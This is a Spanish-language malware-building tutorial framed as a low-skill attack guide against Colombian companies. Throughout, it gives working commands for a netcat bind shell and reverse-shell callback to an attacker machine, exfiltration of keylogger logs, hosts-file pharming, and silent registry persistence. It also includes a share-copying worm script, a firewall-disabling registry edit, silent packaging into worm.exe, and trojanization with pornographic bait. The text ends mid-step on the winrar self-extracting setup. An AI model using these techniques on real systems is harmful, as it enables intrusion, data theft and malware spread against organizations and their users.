Hacking withinnails pdfcompleto

http://hackstudio.net [email protected]

------------------------------------------------------------------HACKING WITHIN NAILS“hackeando con las uñas”Part 1. The Malware Plague------------------------------------------------------------------“... si “nos tocó hacerlo con las uñas”, pues !! afilémonos las uñas !! ... !! que parezcan verdaderas garras !!! ...”

nkt

------------------------------------------------------------------Intro.------------------------------------------------------------------Este documento presenta una perspectiva sobre diferentes técnicas "aparentemente de bajo nivel técnico", con las cuales "cualquier individuo inquieto" puede desarrollar estrategias efectivas de ataques informáticos (con una alta capacidad de daño). Se pretende detallar cómo, sin ser ingeniero, sin ser el "super-hacker", sin ser el experto programador, ni nada por el estilo, una persona hostil puede lograr excelentes resultados de intrusión en empresas y organizaciones "típicas colombianas".

En esta ocasión se estudiará una recopilación de las principales técnicas en el desarrollo “básico” de malware.

------------------------------------------------------------------The malware backgroundAntecedentes.------------------------------------------------------------------Como toda aplicación o software (programa también será un término usado en este contexto), se requiere principalmente de un archivo para ejecutar el código malicioso. Sin embargo, existen diferencias conceptuales reconocidas por los expertos en seguridad informática que establecen una cierta clasificación del malware, que define nuestro dominio de conocimiento. Estas diferencias, se refieren al comportamiento del malware una vez este ataca un sistema informático.

De acuerdo a un documento publicado en la CSIRT de Colombia (el equipo de respuesta a incidentes de seguridad informática) en http://www.udistrital.edu.co/comunidad/grupos/arquisoft/colcsirt/Documentos.html (escrito por Juan Carlos Valbuena), una taxonomía (clasificación) para especificar malware debe cumplir ciertas características de la forma más óptima posible:

http://hackstudio.net/

http://www.udistrital.edu.co/comunidad/grupos/arquisoft/colcsirt/Documentos.html

http://www.udistrital.edu.co/comunidad/grupos/arquisoft/colcsirt/Documentos.html


[1] La taxonomía debe ser completa. Es decir todos los elementos que se clasifican deben ser abordados dentro de alguna de las categorías de la taxonomía.

[2] La taxonomía debe ser mutuamente excluyente. Es decir, el elemento que se clasifica debe pertenecer a una y solo a una categoría. No puede ser dos al mismo tiempo, aunque en el mundo real se habla de virus con características de gusanos o gusanos con características de troyano, vamos hacer la diferenciación de este tipo de aplicaciones de acuerdo a una clasificación consistente con el dominio del conocimiento en el área de malware.

[3] Repetible. Es decir, que al aplicar las mismas reglas taxonómicas sobre un conjunto de datos, los resultados deben ser los mismos independientemente del número de veces que se analice el problema. Si la clasificación taxonómica es consistente, no debería haber variación a aplicar las mismas reglas de clasificación en las mismas condiciones de evaluación.

Con lo mencionado anteriormente se trabajará sobre el malware reconocido por las autoridades en seguridad informática (NTC-ISO/IEC17799). Se especificará su característica principal y la diferencia de las demás categorías taxonómicas.

[1] Virus informáticos. Se reproducen infectando otros archivos (por lo general ejecutables, macros, multimedia, etc.)

[2] Gusanos informáticos. Se reproducen usando servicios de Internet (p.e. el correo electrónico).

[3] Troyanos. Aplicaciones que aparentan hacer una cosa, pero hacen otra.

[4] Puertas Traseras. Permiten conexiones externas de posibles intrusos.

[5] Spam. Correos de circulación masiva, generalmente con el fin de recolectar listas de correos para la posterior distribución del verdadero malware (p.e. un virus o un gusano).

[6] Spyware. Software espía que monitorea las actividades de los usuarios (p.e. keyloggers, etc)

[7] Rootkits. Realizan varias actividades sospechosas, pero su principal objetivo es ocultarse de los métodos de detección.

[8] Phishing. Correos de circulación masiva que contienen páginas de acceso suplantadas para el fraude informático.



[9] Dialers. Aplicaciones que sirven para el marcado internacional con el fin de ofrecer “servicios gratuitos” (sobre todo pornografía), pero que “realizan la respectiva tarificación” a la empresa ISP. Obviamente el ISP, le tarificará al usuario como llamada la conexión realizada.

[10] adware. Software con contenido comercial por lo general de carácter publicitario.

Existen obviamente una serie de características comunes y compartidas entre las diferentes categorías, y de hecho, el proyecto de malware a desarrollar incluirá varias de las técnicas incluidos para algunas de las categorías presentadas anteriormente.

------------------------------------------------------------------Malware hackingPrincipios de diseño------------------------------------------------------------------Este proyecto de desarrollo de malware incluirá los siguientes targets.

[1] payload o carga destructiva. Analizaremos el uso básico de un backdoor para establecer una conexión en un puerto de conexión tipo TCP. Por otra parte analizaremos el uso de un spyware para monitorear las actividades del usuario víctima, tipo keylogger.

[2] bootLoader. violación del registro de configuraciones de windows con el fin de garantizar el arranque del malware.

[3] mecanismo de distribución. De tal forma que el malware se disperse al interior de una infraestructura de red tipo LAN/Ethernet

[4] evasión “básica” de firewall. Con el fin de evitar la detección al ejecutar comportamientos sospechosos

[5] empaquetamiento y scripting. Creación de ejecutables y configuración de scripts de funcionamiento

[6] troyanización. Cuyo objetivo es “involucrar a la víctima” en el proceso de intrusión

P.D. existen un abanico de técnicas alternativas (y de alto nivel técnico) como p.e. buffer-heap-stack overflowing, shellcoding, process jumping, antivirus attack, bugs exploiting, dll’s and exe’s injection, etc. Estas técnicas se conocen ya como el arte de la explotación y la intrusión (“the art of intrusion and



exploitation”.) y requieren una alta capacidad de programación. El propósito de este proyecto es “lograr los mismos resultados (o similares) sin tener que acudir a la complejidad que estas técnicas requieren”. En pocas palabras vamos a “hackear con las uñas” (hacking within nails).

------------------------------------------------------------------Malware DevelopmentDesarrollo------------------------------------------------------------------[1] payload.Consiste en la aplicación que realmente hace daño al sistema. Esto se conoce como carga destructiva. En primera instancia utilizaremos un backdoor. En realidad el backdoor (puerta trasera) solo consiste en un ejecutable que abra un puerto en estado de escucha (Listening) y nos permita establecer una conexión externa. Existen varios muy reconocidos, tipo bo, netbus, etc. Todos ellos requieren fase de instalación y configuración, por lo que no nos permite incluirlos de forma sencilla en la fase de scripting.

Se utilizará en su lugar el reconocido netcat (a.k.a. nc, la navaja suiza), una de las mejores utilidades para conexiones TCP/IP. El comando de ejecución que nos permite ejecutar nc modo de escucha/Listening (-L) para lanzar (-e cmd.exe) una consola de comandos al conectarnos al puerto (-p 666) establecido es sencillo:

> nc –L –d –p 666 –e cmd.exela opción –d le dice a nc que corra de forma oculta (sin levantar una consola).

Si verificamos el estado de red del sistema a través de la consola (basta con ejecutar el comando netstat), podemos verificar que se abre el puerto establecido para escuchar por conexiones entrantes.

Por el momento, como payload, es suficiente. Sin embargo, el problema actual es que desde hace un par de años, algunos



antivirus han decidido incluir nc en sus bases de firmas. Esto significa que es posible que en algunos hosts víctimas el antivirus emita una alarma.

Alternativas:

[1] se podría tomar el código fuente de netcat y recompilarlo tratando de cambiar algunas opciones con el fin de que la firma no sea reconocida por el antivirus.

[2] se podría utilizar un wrapper especial que encripte el código binario de netcat con el fin de que el antivirus no pueda realizar su análisis de forma correcta.

[3] la mejor. Desarrolla tu propio código. Nuestro amigo e investigador en seguridad, Kadete (a.k.a. Juan E. Pecantet) ha desarrollado una aplicación (“LuzyFer”), para conexiones tcp que abre un socket a la escucha en el puerto 4444, establece conexiones con un cliente, recibe solicitudes y procesa comandos. El código útil de esta aplicación no supera las 50 líneas de código en lenguaje c, con la ventaja de que por ser “código limpio” (código que no ha sido testeado anteriormente por los sistemas de antivirus convencionales) no forma parte de la mayoría de las bases de firmas víricas. Felicitaciones KDT !!!.

P.D. Kadete reside en Argentina, Se puede contactar en [email protected], trabaja para un grupo de investigación en hacking. A continuación se presenta un preview del sencillo código con el que se puede obtener muy buenos resultados en el desarrollo de un backdoor (LuzyFer).


mailto:[email protected]


Cualquiera de las aplicaciones anteriores simplemente cumplen con las funciones de backdoor cuyo objetivo es esencialmente la ejecución de comandos de shell en la máquina víctima.

Ahora, talvez sería interesante añadir al payload del malware algún tipo de función espía (spyware). Para ello incluiremos el uso de un keylogger desarrollado por el grupo de investigación en seguridad informática de la Universidad del Cauca (http://gseguridad.unicauca.edu.co). El keylogger, desarrollado por Rony Arana (investigador y desarrollador) y Siler Amador Donado (coordinador del grupo de investigación) genera un archivo de texto plano que es enviado a una cuenta de correo. También es “código limpio”, por lo cual no es detectado por los antivirus. El inconveniente es que el keylogger está configurado para enviar el archivo de texto con los datos de las pulsaciones de tecla a una cuenta de correo electrónico que se pasa por argumento en la línea de comandos. A continuación se presenta un overview del código fuente del keylogger.

El servidor de correo que permite el reenvío del correo debe estar con su configuración por defecto (que efectivamente es defectuosa) para permitir el relay. Así que para el uso dentro de nuestro proyecto de malware no utilizaremos la función de envío al correo electrónico. Por el contrario, utilizaremos el mismo netcat para que al recibir una conexión, me permita descargar el archivo. Poner a funcionar el keylogger es sencillo.

> keylogger [email protected] función genera un Archivo que se llama lgPh.log, donde se almacenan las pulsaciones de teclado. Así, lo único que se requeriría sería cargar archivo de datos en un flujo para ser transmitido por netcat. Esto es sencillo:

> nc –L –p 665 < lgPh.logHasta este momento está completa la carga destructiva del malware. Se pueden hacer muchas más cosas. Las opciones son innumerables y ya dependen de la capacidad y creatividad del intruso. Una de las más atractivas (y que se ha impuesto de moda), es la técnica llamada pharming, en la cual se suplantan direcciones IP por URL's validos en el archivo de configuración de hosts (a.k.a.

http://gseguridad.unicauca.edu.co/



%SystemRoot%\system32\drivers\etc\hosts, en el caso de esta máquina donde se está editando este documento: C:\WINNT\System32\drivers\etc\hosts) para la navegación web. Esto es de lo más sencillo de realizar, ya que simplemente se requiere reemplazar un archivo de texto. Por mostrar un ejemplo, en el siguiente preview asignamos una dirección de la máquina atacante (192.168.1.4) que tiene un servidor web con una réplica de la página suplantada.

El usuario ingenuo, simplemente introduce sus datos en los formularios, el atacante guarda los datos recolectados en variables en su “base de datos” y redirecciona a la verdadera página de error de la entidad suplantada. Listo. El usuario simplemente ha de creer que introdujo mal los datos en sus formularios. Este es el famoso phishing (con muchos adeptos por estos días). Por efectos pedagógicos del desarrollo de este proyecto, se cambiará el nombre de los ejecutables así: nc.exe se reemplazará por win32.exe, y keylogger.exe se reemplazará por run32dl.exe (solo por utilizar un conjunto de nombres que dificulten el proceso de identificación del malware).

[2] bootLoader. violación del registro de configuraciones (“Hacking Registry”).Existen varias formas de establecer un punto de arranque para cualquier malware. Estos puntos de arranque se conocen como ASEP’s (Autostart Extensibility Points) y se presenta una buena referencia en:

http://www.pestpatrol.com/pestinfo/autostartingpests.asp.

A continuación se referencian algunas:

[-] Directorio de Inicio%ALLUSERSPROFILE%\Menú Inicio\Programas\Inicio

Para una instalación típica en español, un ejemplo podría ser:

C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio



[-] Entradas en el archivo win.ini (c:\windows\win.ini)La sintaxis de las entradas es del tipo:

------------------------------------------------------------------[windows]run=c:\windows\system32\malware.exeload=anything------------------------------------------------------------------[-] Entradas en el archivo system.ini (c:\windows\system.ini)La sintaxis de las entradas es del tipo:

------------------------------------------------------------------[boot]shell=explorer.exe c:\windows\system32\malware.exe------------------------------------------------------------------[-] “Güindous” RegistryEl registro es el área de campo de trabajo de la mayoría del malware en la actualidad. Se utilizará en este proyecto para garantizar el arranque del malware junto con el sistema operativo. Las claves principales para realizar el boot del malware son (ver ZELTSER, Lenny. Malware: Fighting malicious code. 2003):------------------------------------------------------------------HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnceHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceExHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserinitHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoadHKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\ScriptsHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\RunHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnceHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceExHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\RunHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\RunHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadHKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\ScriptsHKEY_CLASSES_ROOT\Exefiles\Shell\Open\Command------------------------------------------------------------------Existen otro tipo de claves que permiten forzar la ejecución de un archivo dada una solicitud de ejecución de una aplicación.

------------------------------------------------------------------[HKEY_CLASSES_ROOT\exefile\shell\open\command] ="\"%1\" %*"[HKEY_CLASSES_ROOT\comfile\shell\open\command] ="\"%1\" %*"[HKEY_CLASSES_ROOT\batfile\shell\open\command] ="\"%1\" %*"



[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] ="\"%1\" %*"[HKEY_CLASSES_ROOT\piffile\shell\open\command] ="\"%1\" %*"[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] ="\"%1\" %*"[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] ="\"%1\" %*"[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] ="\"%1\" %*"[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] ="\"%1\" %*"[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] ="\"%1\" %*"------------------------------------------------------------------Un ejemplo “del uso exagerado” de este tipo de claves es el malware “soundmix.exe”, el cual ante cada solicitud de ejecución de “cualquier cosa” volvía y cargaba su propio ejecutable. Existen otras claves específicas, las cuales (como ya se mencionó anteriormente), pueden ser consultadas en:

http://www.pestpatrol.com/pestinfo/autostartingpests.asp.

Otra forma (algo más ortodoxa, aunque menos visible), es crear el troyano llamado explorer.exe y ubicarlo en el disco C:\, lo cual hace que se cargue automáticamente el troyano (que implícitamente puede llamar al verdadero explorer.exe en C:\windows\explorer.exe).

Existen muchas diversas formas de establecer un punto de arranque del malware, de tal manera que en fin, esto dependerá en alto grado de la capacidad/creatividad del desarrollador del malware. P.e. basta con crear un troyano que al ejecutarse, revise si está activo el iexplorer.exe. De ser así, que lo baje (elimine el proceso), que copie una versión del iexplorer.exe “troyanizada” y vuelva a levantar el proceso. De esta manera, cada vez que el usuario decida “navegar en internet”, ejecutará implícitamente el troyano (que contiene el payload), sin tener que utilizar ninguna de las estrategias de bootLoader desde el registro de configuraciones de windows. De cualquier forma, por ser este un proyecto didáctico y para realizar la violación del registro, se utilizará un valor en una clave típica, con el fin de tratar de simular el comportamiento típico de la mayoría de malware. La clave es run en HKLM.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run



Escribiremos a continuación el script necesario para instalar un valor de inicio del malware en dicha clave. Existen varias formas de realizar este script, aunque por lo general el uso de comandos tipo “reg” despliegan un aviso solicitando al usuario de la máquina la confirmación de la instalación en el registro. En lugar de esto, podemos hacer un script en un archivo .inf para que se instale de forma silenciosa sin pedir la confirmación. A continuación se presenta el archivo [install.inf]

------------------------------------------------------------------[Version]Signature="$Chicago$"Provider=nkt

[DefaultInstall]AddReg=nkt

[nkt]HKLM, Software\Microsoft\Windows\CurrentVersion\Run,,,win32.exe -L -d -p 666 -e cmd.exe------------------------------------------------------------------En la página oficial de microsoft existe una guía completa para desarrollar archivos de instalación/desinstalación bajo directivas de archivos .inf. Ahora, el problema consiste en que para instalar un archivo .inf, desde el explorador de windows se necesita dar click derecho y seleccionar la opción instalar en el menú contextual. Obviamente que no podemos esperar que sea un usuario que haga esto de forma voluntaria. Existe un comando que permite realizar esta instalación de forma silenciosa. El script se describe a continuación (archivo [install.bat]):

------------------------------------------------------------------rundll32 setupapi,InstallHinfSection DefaultInstall 132 .\install.inf------------------------------------------------------------------Una vez que se ejecute el anterior script (lo cual si puede automatizarse de forma silenciosa), se instala el script contenido en el archivo .inf instalado (install.inf).

Lo descrito anteriormente es suficiente para llevar a cabo la operación de la violación del registro de configuraciones. Como ya se mencionó, existen innumerables puntos de carga del malware con sus claves específicas de registro que pueden aprovecharse de la misma manera explicada anteriormente. Un script para instalar la clave (archivo .inf) y un script para realizar la instalación de forma silenciosa.



[3] mecanismo de distribución.Existen varias alternativas. Una de las más técnicas, es la detección de un bug o fallo natural del sistema (tipo lsass, que dió el canal de difusión al famoso sasser, un gusano que definitivamente dejó su marca en la historia). Por lo general, una actividad típica de un gusano, es la búsqueda o exploración de la red en búsqueda de este tipo de fallas, y al encontrar un conjunto de equipos vulnerables en una red, proceder a ejecutar un exploit que instale el gusano en cada equipo vulnerable. El nivel técnico requerido desde el punto de vista de la programación es alto. Otra técnica bastante utilizada, es la búsqueda de direcciones de correo electrónico. Esto puede hacerse atacando directamente las libretas de direcciones de aplicaciones como outlook (de hecho, este tipo de búsquedas es típica). También se requieren aplicaciones especiales que realicen esta tare de forma específica. Otra forma, es bombardear directamente el servidor de correo electrónico de la organización en busca de conjuntos de usuarios. p.e. Cuentas tipo [email protected], que al recibir un correo, lo redireccionan a todas las cuentas de correo de la organización. Todas estas técnicas mencionadas anteriormente pretenden lograr un mecanismo de distribución del malware, y son frecuentemente utilizadas y requieren una gran capacidad de programación.

En la propuesta de este proyecto procederemos a utilizar un modelo mucho más sencillo para la distribución de un malware al interior de una infraestructura LAN/Ethernet. Es el abuso de los recursos compartidos en una red típica ms-windows. Vale la pena mencionar que en muchas redes corporativas, por necesidad de acceso a archivos y falta de conciencia en el área de seguridad de la información, suele mantenerse de forma indefinida e irreglamentada un conjunto de recursos compartidos sin ningún tipo de restricción. Esto también es altamente explotable, y generalmente es una de las acciones típicas de un gusano. En este proyecto se aprovechará la característica típica de redes windows XP en la cual existe una carpeta típica para compartir recursos (“Documentos Compartidos”). La configuración típica también es el acceso a dicha carpeta con privilegios de lectura/escritura y sin ningún tipo de autenticación. Siendo así, no resta, sino “scriptar” nuestras instrucciones para que se copie el cuerpo del malware en las carpetas que encuentre compartidas “de forma vulnerable” (en este caso, la típica carpeta que parece que no puede faltar en ningún equipo ... Musica, ¿raro no??). El código del script se incluirá en el archivo [dist.bat]

------------------------------------------------------------------FOR /F “tokens=1” %i IN (dirs.txt) do xcopy malware.exe \\%i\Musica 2>nul------------------------------------------------------------------




donde debe existir un archivo [dirs.txt] que contenga una lista de direcciones IP a testear.

------------------------------------------------------------------192.168.1.2192.168.1.3192.168.1.4192.168.1.5192.168.1.6192.168.1.7192.168.1.8192.168.1.9...------------------------------------------------------------------Obviamente, en este caso, el desarrollador del malware, tiene conocimiento de el rango de direcciones IP que desea infectar; sin embargo esto no omite que un script más elaborado, realice las búsquedas de direcciones IP automáticamente. Lo típico sería utilizar el mismo bucle anterior y en lugar del xcopy, utilizar comandos net, p.e.

------------------------------------------------------------------> net use * \\IPVictimas\IPC$------------------------------------------------------------------Por otra parte, herramientas especializadas en exploración de redes como netviewx (de Jesper Lauritsen, http://www.ibt.ku.dk/jesper/NTtools), nete (de Sir Dystic de “The Cult of Dead Cow”, a.k.a. “El culto de la vaca muerta”, famoso grupo en la historia del hacking), enum (http://www.bindview.com/support/Razor/Utilities) y NAT (parte del antiguo Legion), permiten realizar scripts más complejos que exploran máquinas a nivel de red para localizar recursos compartidos, listas de usuarios, etc. Por “pedagogía” en este proyecto nos limitaremos al script “primitivo” visto anteriormente que cumple con la funcionalidad que requerimos.

[4] evasión “básica” de firewall. En este punto, ya hemos obtenido prácticamente toda la funcionalidad de nuestro proyecto de malware. Ahora, “necesitamos proteger” nuestra actividad intrusiva. El firewall talvez sea la principal aplicación a evitar (aparte de los IDS, que para el prototipo habitual de una infraestructura LAN en nuestras empresas, suele ser considerado “una exageración” en costos y esfuerzos ... ¿de dónde sale que todos los ataques informáticos solo le suceden a microsoft, el FBI, la NASA y el pentágono??). Bien, en un escenario típico a nivel de intranet, generalmente



“nos conformamos” con ver el icono de “firewall activo” en nuestra systray. Se podría utilizar aplicaciones tipo “microchip” (un ejecutable que “lastimosamente” ya es detectado por antivirus como kaspersky) que al ejecutarse baja automáticamente el firewall de windows.

Sin embargo (y como cosa rara en los entornos ms-win), la configuración del firewall también está delegada al registro de configuraciones.

Esto implica que “basta un simple script” para modificar la configuración del firewall y evitar que aparezca el aviso de bloqueo de conexión. El script es sencillo y se presenta a continuación (archivo [fw.inf]):

------------------------------------------------------------------[Version]Signature="$Chicago$"Provider=nkt

[DefaultInstall]AddReg=fw

[fw]HKLM, SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List,666:TCP,,666:TCP:*:Enabled:win32.exe------------------------------------------------------------------Obviamente, también para instalar este archivo [fw.inf] de forma silenciosa, requerimos un archivo por lotes [fw.bat]:

------------------------------------------------------------------rundll32 setupapi,InstallHinfSection DefaultInstall 132 .\fw.inf ------------------------------------------------------------------



A nivel de intranet ... !!! ESO ES TODO !!!. al violar el registro, le decimos que la aplicación win32.exe (nuestro backdoor) va a abrir el puerto (666) y que simplemente el firewall de windows “debe quedarse callado”. Solo basta prestarle atención a que este script debe ejecutarse antes de intentar poner el backdoor en escucha por conexiones.

Para complementar este proyecto, en caso de requerir aprovechar la funcionalidad de nuestro malware de forma externa a la intranet, se necesitaría evadir el firewall de red (generalmente un firewall corporativo que realiza funciones NAT). Basta con utilizar un puerto común que “no suele ser filtrado”, p.e. El puerto 53, utilizado para consultad DNS, que se requiere para hacer la resolución de nombres en las consultas de internet. Entonces, sencillamente podríamos proceder a hacer una operación “delicada”; se conoce como callback. En lugar de ser la máquina víctima la que permanece en estado Listening (-L para netcat), ponemos en escucha la máquina atacante, y configuramos nuestro backdoor para que sea la víctima la que se conecte (y nos envíe una “hermosa consola”) a la máquina atacante. Se requeriría entonces que dispongamos de una dirección IP real, pues el backdoor necesita “saber con quién se conecta”. Si la conexión se establece a través de un puerto no filtrado por el firewall de red, pues, sencillamente !!! YA ESTARÍA TODO HECHO !!!!.

A continuación se muestran los scripts necesarios para realizar un callback desde nuestro backdoor (tomaremos como máquina atacante la 192.168.1.4, y en una máquina virtual vmware, emularemos la máquina víctima con IP 192.168.1.9).

En la máquina atacante:

------------------------------------------------------------------> nc -L -p 666 -v------------------------------------------------------------------



observemos el preview

En la máquina víctima, el backdoor debe estar configurado para conectarse con el puerto disponible en la máquina atacante (en el ejemplo se usa el 666, aunque ya se mencionó que para efectos de realizar la evasión de firewall, debería utilizarse un puerto no filtrado, p.e. 53 [dns], 80 [http], etc.).

El script requerido para hacer el callback desde el backdoor es:

------------------------------------------------------------------> nc -d IPAtacante puerto -e cmd.exe------------------------------------------------------------------En este caso sería:

------------------------------------------------------------------> nc -d 192.168.1.4 666 -e cmd.exe------------------------------------------------------------------Observemos el preview, donde primero indagamos la dirección IP de la víctima (solo por verificación), y le pedimos a nuestro querido netcat que por favor “me mande una consolita a la dirección del atacante en el puerto donde el atacante está esperando que yo me conecte).



Ahora, en la máquina atacante se puede observar como se establece la conexión con una “entrada” en la consola de la máquina víctima.

Donde podemos observar “en consola”, que la dirección original correspondía a la máquina atacante, al recibir una conexión se



lanza la consola desde la víctima, y al volver a revisar la dirección IP ... !! estamos en la máquina de la víctima !!!. Y podés ejecutar desde ahí “lo que quieras en la víctima”

Lo más importante de los ataques por callbacks: es el alcance de direcciones no enrutables por ser internas (en el dominio de la intranet) y estar “cubiertas” por el firewall. Sin embargo, en este punto es importante tener en cuenta qué tipo de ataque es el que se realizará. ¿querés controlar la máquinas de tu red desde el interior de la intranet??, basta con el backdoor en estado de escucha. No necesitas el callback. ¿querés controlar las máquinas desde fuera de la intranet??, si tenés una máquina con IP estática externa, solo te falta configurar bien tus backdoors para que realicen un callback ... y Listo !!! no más temores a los firewalls ;P

¿presenta algún problema las conexiones por callbacks??. Para un malware que se distribuye en una red: SI. No sería apropiado que todos los backdoors intenten conectarse y mandar consolas al único puerto en el cual la máquina del atacante está esperando conectarse con sus víctimas. Así que es de prestarle atención a: 1. configurar los backdoors para que se conecten a distintos puertos abiertos en la máquina atacante, 2. abrir varios puertos en escucha en la máquina atacante. De hecho, si el malware está muy distribuido, el ataque puede salir “contraproducente” ... muchos backdoors tratando de conectarse con tu máquina te pueden ocasionar una inesperada denegación de servicio. En verdad se debería refinar la especialización de este tipo de ataques (ya habrá oportunidad en otra publicación, je! ...).

P.D. No olvidar que aunque en el callback se utilizó directamente netcat, en el proyecto del malware, se cambió el nombre del ejecutable por win32.exe

[5] empaquetamiento y scripting.La funcionalidad de nuestro proyecto de malware ya está completa. Sin embargo, en este momento solo tenemos un “reguero de scripts”. Necesitamos empaquetar todo de tal forma que baste con un click de un usuario desprevenido o ignorante o ambicioso, etc. (cualquier actitud que atente contra la protección de la información), pues en últimas, las mas grandes vulnerabilidades de seguridad informática se encuentran en la mente de los usuarios.

Realizaremos a continuación el empaquetamiento de todos nuestros scripts. Ni siquiera utilizaremos una “super-utilidad”. Basta con ejecutar en windows la utilidad “iexpress”, o podemos acudir a nuestro querido winrar. Cualquiera de los dos sirve. Por espacio en este documento, mostraremos el funcionamiento tanto de iexpress



como de winrar de forma gráfica, y de forma textual se explicará cual es el orden del empaquetamiento.

Podemos acceder a iexpress desde [inicio->ejecutar], tecleamos iexpress. Debe desplegar la siguiente ventana (donde debe estar la opción de crear un nuevo paquete extraible):

Seleccionamos la opción crear nuevo archivo de directivas de auto-extracción. Luego, “Siguiente”

En la interfaz para seleccionar el propósito del paquete seleccionamos “extraer archivos y ejecutar comandos de



instalación” (vamos a necesitar que desde ahí se ejecuten nuestros scripts. “Siguiente”:

Le damos un título al proyecto (en este caso, empaquetaremos nuestros scripts en un archivo que se llame worm.exe). “Siguiente”:

Obviamente le decimos al paquete que no “promptee” al usuario con avisos y notificaciones. “Siguiente” (¿que otra cosa esperaban??):



Obviamente que sería ridículo desplegar una licencia para la instalación de un malware. “Siguiente”:

Seleccionamos todos los archivos que vamos a requerir. Esto incluye tanto los ejecutables de nuestro payload (nc.exe que ahora se llama win32.exe, el keylogger, etc.), además de los scripts que hemos desarrollado (los scripts que realizan el bootLoader en el registro, el script de distribución en carpetas compartidas, el archivo que contiene la lista de direcciones IP, los scripts que realizan la evasión del firewall de windows, y todo lo que puedas necesitar ... ). Solo dale “Siguiente”:



En este punto es donde se debe tener cuidado. Debes seleccionar los scripts para que se ejecuten antes o después del desempaquetamiento. Como se puede notar en el preview, puede seleccionar tanto scripts dentro del paquete, como cualquier comando que desees que se ejecute. “Siguiente”:

Obviamente seleccionamos la opción de desempaquetamiento oculto y como de costumbre; “Siguiente”:



Que no despliegue ningún tipo de mensaje (obvio). Siguiente:

“Bautizamos” el paquete (con extensión .exe), y le decimos que Oculte el proceso de desempaquetamiento (nada de animaciones al usuario). “Siguiente”:



Seleccionamos la opción de no rebootear el sistema (en verdad, cualquier reinicio, ya se convierte en una actividad bastante sospechosa). “Siguiente”:

Ya que el desarrollo de malware es “altamente adictivo”, es probable que quieras guardar el proyecto para volver a empaquetarlo en momentos posteriores, o realizar mejoras. Lo recomendable es salvar elproyecto en un archivo .SED. “Doble Siguiente”:



Si todo el proceso de empaquetamiento salió bien, no debe notificar ningún tipo de error (Done!).

Si revisas en el explorador, tienen que haberse generado tanto el paquete worm.exe como el archivo del proceso de empaquetamiento worm.SED. Y LISTO !!!, al dar doble click en el ejecutable, se



extraen los archivos en algunas carpetas temporales y se ejecutan los scripts en el orden que hayas seleccionado. Como lo anterior fue demostración, a continuación se narra como realizar el proceso de empaquetamiento con los scripts que tenemos:

1. empaqueta en un ejecutable los scripts que contienen la violación del registro tanto para la instalación del malware como para la evasión del firewall.2. empaqueta en otro ejecutable el script de distribución del malware en carpetas compartidas.3. empaqueta en otro ejecutable los dos anteriores ejecutables diciéndole al paquete que primero se ejecute el paquete que realiza la violación del registro y luego el paquete que realiza la distribución. Ahora, tiene que haber quedado un solo ejecutable que realiza las tres funciones: instalación del backdoor en el registro, evasión del firewall y copia del cuerpo del malware en las carpetas compartidas.4. empaqueta en otro ejecutable los ejecutables que constituyen el backdoor. En el caso de este proyecto, será win32.exe (netcat), y el keylogger.5. empaqueta en otro ejecutable, el ejecutable con todos los scripts y el ejecutable que contiene el backdoor. En este momento te tiene que quedar un solo ejecutable que contiene (y ejecuta) inicialmente todos los scripts y además debe contener el payload (en este caso, el backdoor).

Vale la pena recalcar que hasta ahora, el malware con todos los archivos que hemos empaquetado, no pesa más de 90 Kb. Se ha conseguido lo que nos hemos propuesto, pues ese valor lo hace un archivo bastante liviano (y distribuible).

Así, de tanto empaquetar y empaquetar, este trabajo, no es sino pura “labor de carpintería”.

[6] troyanización.Aunque ya tenemos el malware, necesitamos un mecanismo de activación. Obviamente, ese mecanismo es algún usuario ejecute o de doble click sobre el ejecutable del malware. Para “generar confianza” en el usuario a que active el malware, generaremos otro paquete especial que troyanizará nuestro malware. Para ello utilizaremos winrar. Ahí va !!. Primero, debemos escojer un “anzuelo”. Este puede ser un archivo multimedia (preferiblemente). En el caso de un escenario de una empresa típica colombiana, podríamos tomar un pedazo de un video con contenido pornográfico (casi nadie evita dar doble click sobre algo así). Para no aumentar mucho el tamaño del troyano, podemos tomar cualquier video en formato .avi y editarlo reduciendo la longitud de la



secuencia en una aplicación de bastante uso como camtasia. Observemos el preview:

Al seleccionar añadir al archivo, selecciono la opción de generar archivo especial en formato SFX (Archivo auto-extraible):

Luego vamos a la pestaña “avanzadas” y seleccionamos opciones SFX, donde podemos establecer la ruta de extracción de archivos y los comandos de ejecución (scripting) antes y después de la extracción:



